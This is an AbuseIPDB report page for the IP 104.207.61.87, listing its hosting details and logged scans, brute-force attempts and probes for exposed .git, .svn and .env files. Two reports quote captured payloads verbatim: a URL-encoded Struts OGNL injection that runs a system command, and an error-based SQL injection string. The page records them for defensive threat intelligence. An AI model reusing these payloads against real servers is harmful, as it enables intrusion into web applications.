JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 104.207.61.87

104.207.61.87 was found in our database!

This IP was reported 142 times. Confidence of Abuse is 11%: ?

11%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇨🇦 Canada
City	Toronto, Ontario

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 104.207.61.87

Whois 104.207.61.87

IP Abuse Reports for 104.207.61.87:

This IP address has been reported a total of 142 times from 17 distinct sources. 104.207.61.87 was first reported on June 4th 2024, and the most recent report was 2 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 2 weeks ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇬🇧 PeravixGroup	2026-05-22 11:45:49 (2 weeks ago)	Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. A ... show more Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. Aaran.cloud show less	Port Scan Bad Web Bot
🇨🇳 ThreatBook.io	2026-05-17 00:41:14 (2 weeks ago)	ThreatBook Intelligence: http_proxy,Scanner more details on https://threatbook.io/ip/104.207.61.87 2 ... show more ThreatBook Intelligence: http_proxy,Scanner more details on https://threatbook.io/ip/104.207.61.87 2026-05-16 13:10:11 / 2026-05-16 13:10:12 /?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22netstat%20-an%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-11 00:23:10 (1 month ago)	ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.61.8 ... show more ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.61.87 2026-04-10 21:53:03 /video/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-03-02 01:02:54 (3 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.61.87 20 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.61.87 2026-03-01 14:39:45 /geoserver/rest.html show less	Web App Attack
🇨🇦 SSH-Admin	2026-02-07 17:12:28 (3 months ago)	Probing for Exploits	Exploited Host Web App Attack
🇺🇸 xmission.com	2026-01-11 02:07:09 (4 months ago)	104.207.61.87 - - [10/Jan/2026:19:07:08 -0700] "POST /wp-login.php HTTP/1.1" 200 2289 "https://dooce ... show more 104.207.61.87 - - [10/Jan/2026:19:07:08 -0700] "POST /wp-login.php HTTP/1.1" 200 2289 "https://dooce.com/wp-login.php" "curl/7.88.1" ... show less	Brute-Force
Anonymous	2026-01-05 20:22:08 (5 months ago)	Attempted brute force login to web vpn 9 time(s); last attempt for 2026.01.05 is noted in report tim ... show more Attempted brute force login to web vpn 9 time(s); last attempt for 2026.01.05 is noted in report timestamp show less	Hacking Brute-Force
🇨🇦 SSH-Admin	2025-12-27 13:45:08 (5 months ago)	Probing for Exploits	Exploited Host Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 04:35:18 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 23:35:09.564831 2025] [security2:error] [pid 23667:tid 23667] [client 104.207.61.87:22701] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "mail.compupackinc.com"] [uri "/.svn/wc.db"] [unique_id "aSUx_Yn4qDXIsVMSHTgmCwAAAAs"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 04:18:50 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 23:18:45.426850 2025] [security2:error] [pid 15817:tid 15817] [client 104.207.61.87:21211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "autodiscover.stoneybluff.com"] [uri "/.svn/wc.db"] [unique_id "aSUuJQ5_zTZkpzZCHOxWKAAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 03:33:01 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 22:32:52.428363 2025] [security2:error] [pid 32700:tid 32719] [client 104.207.61.87:42357] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "autodiscover.ahsdistance.org"] [uri "/.git/HEAD"] [unique_id "aSUjZLcrjRrp2J9TXtykgwAAANA"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 02:35:26 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 21:35:19.048464 2025] [security2:error] [pid 27796:tid 27796] [client 104.207.61.87:56391] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "webmail.indoorsfinishing.com"] [uri "/.svn/wc.db"] [unique_id "aSUV58dcBwtNmck8xTAqQwAAAAM"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 02:18:07 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 21:18:03.490247 2025] [security2:error] [pid 13034:tid 13034] [client 104.207.61.87:14689] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "webmail.debosden.com"] [uri "/.env"] [unique_id "aSUR2-2tmgMSFqjQjSDXlQAAAAo"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 02:02:32 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 21:02:23.172603 2025] [security2:error] [pid 21191:tid 21191] [client 104.207.61.87:12433] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "mail.scrunchiebuttbikini.com"] [uri "/.svn/wc.db"] [unique_id "aSUOL3oHHl_raL8npfzsSgAAAAs"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-25 01:45:22 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.61.87 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 20:45:18.226927 2025] [security2:error] [pid 21212:tid 21212] [client 104.207.61.87:45235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "mail.mmailbox.com"] [uri "/.git/HEAD"] [unique_id "aSUKLvSmczTdNf-ghHIqkQAAAAk"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 142 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇳🇱 204.76.203.212

🇷🇴 193.176.85.112

🇺🇸 165.154.163.139

🇬🇷 149.102.246.9

🇮🇳 125.19.216.58

🇳🇱 89.21.67.176

🇺🇸 71.63.84.194

🇷🇴 2.57.122.177

🇩🇪 213.209.159.235

🇬🇧 213.48.245.106

🇺🇸 172.191.157.64

🇭🇰 156.251.179.157

🇩🇪 151.243.11.35

🇨🇳 58.51.190.104

🇳🇱 45.148.10.141

🇭🇰 103.49.62.60

🇷🇺 178.206.219.149

🇹🇼 111.70.9.143

🇲🇾 47.250.54.17

🇳🇱 45.148.10.152